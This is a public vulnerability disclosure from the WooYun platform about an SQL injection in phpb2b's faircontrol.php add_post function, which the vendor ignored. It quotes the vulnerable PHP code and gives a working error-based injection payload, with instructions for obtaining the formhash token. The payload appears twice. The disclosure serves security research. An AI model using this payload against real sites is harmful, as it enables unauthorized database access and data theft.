当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101760

漏洞标题：phpb2b最新版sql注入

相关厂商：phpb2b.com

漏洞作者： 路人甲

提交时间：2015-03-17 19:07

修复时间：2015-06-20 19:09

公开时间：2015-06-20 19:09

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-22： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-05-16： 细节向核心白帽子及相关领域专家公开
2015-05-26： 细节向普通白帽子公开
2015-06-05： 细节向实习白帽子公开
2015-06-20： 细节向公众公开

简要描述：

RT

详细说明：

在faircontrol.php中：

function add_post()
        {
                global $charset, $pb_user;
                if (empty($pb_user)) {
                        die("<img src='".STATICURL."images/check_error.gif'/>".iconv($charset, "UTF-8//IGNORE", L("please_login_first")));
                }
                $the_memberid = $pb_user['pb_userid'];
                $company_id = '';
                if(isset($_POST['do']) && isset($_POST['id'])){
                        pb_submit_check('do');
                        if ($this->expo->checkExist($_POST['id']) && !$this->expo->dbstuff->GetOne("SELECT id FROM ".$fair->table_prefix."expos WHERE member_id='".$the_memberid."' AND expo_id='".$_POST['id']."'")) {
                                $sql = "INSERT INTO {$this->expo->table_prefix}expomembers (expo_id,member_id,company_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$company_id.",".$this->expo->timestamp.",".$this->expo->timestamp.")";
                                $result = $this->expo->dbstuff->Execute($sql);
                                if (isset($_POST['is_ajax']) && $_POST['is_ajax']) {
                                        die("<img src='".STATICURL."images/check_right.gif'/>".iconv($charset, "UTF-8//IGNORE", L("action_successfully")));
                                }
                                echo "<script language='javascript'>window.close();</script>";
                                exit;
                        }else {
                                if (isset($_POST['is_ajax']) && $_POST['is_ajax']) {
                                        die("<img src='".STATICURL."images/check_error.gif'/>".iconv($charset, "UTF-8//IGNORE", L("action_failed")));
                                }
                                flash("action_failed", '', 0);
                        }
                }
        }


在这段代码中，首先做了token验证（防止CSRF）：pb_submit_check('do');
接着根据post的ID值查询数据是否存在，如果不存在就进行插入操作:
INSERT INTO {$this->expo->table_prefix}expomembers (expo_id,member_id,company_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$company_id.",".$this->expo->timestamp.",".$this->expo->timestamp.")"
但是我们看到在插入的sql语句中 $_POST["id"]并没有两侧加上单引号，这样我们可以利用)# 形式进行闭合，形成sql注入。
POC：
url：/phpb2b/index.php?do=fair&action=add_post
post: id=1,(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1)),3,1,1)%23&do=1&do=1&formhash=02d40d85c2dd1208&is_ajax=1
这里的formhash值需要从页面中获取，随便在页面上找一个表单 查看源代码即可看到。
为了测试方便，在本地先将debug模式打开（实际可以利用盲注，测试就用报错法了）:

0718b3e8-61bf-4c3d-a685-d98770417b16.JPG

漏洞证明：

POC：
url：/phpb2b/index.php?do=fair&action=add_post
post: id=1,(UpdateXML(1,CONCAT(0x5b,user(),0x5d),1)),3,1,1)%23&do=1&do=1&formhash=02d40d85c2dd1208&is_ajax=1
这里的formhash值需要从页面中获取，随便在页面上找一个表单 查看源代码即可看到。
为了测试方便，在本地先将debug模式打开（实际可以利用盲注，测试就用报错法了）:

0718b3e8-61bf-4c3d-a685-d98770417b16.JPG

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-20 19:09

厂商回复：

最新状态：

暂无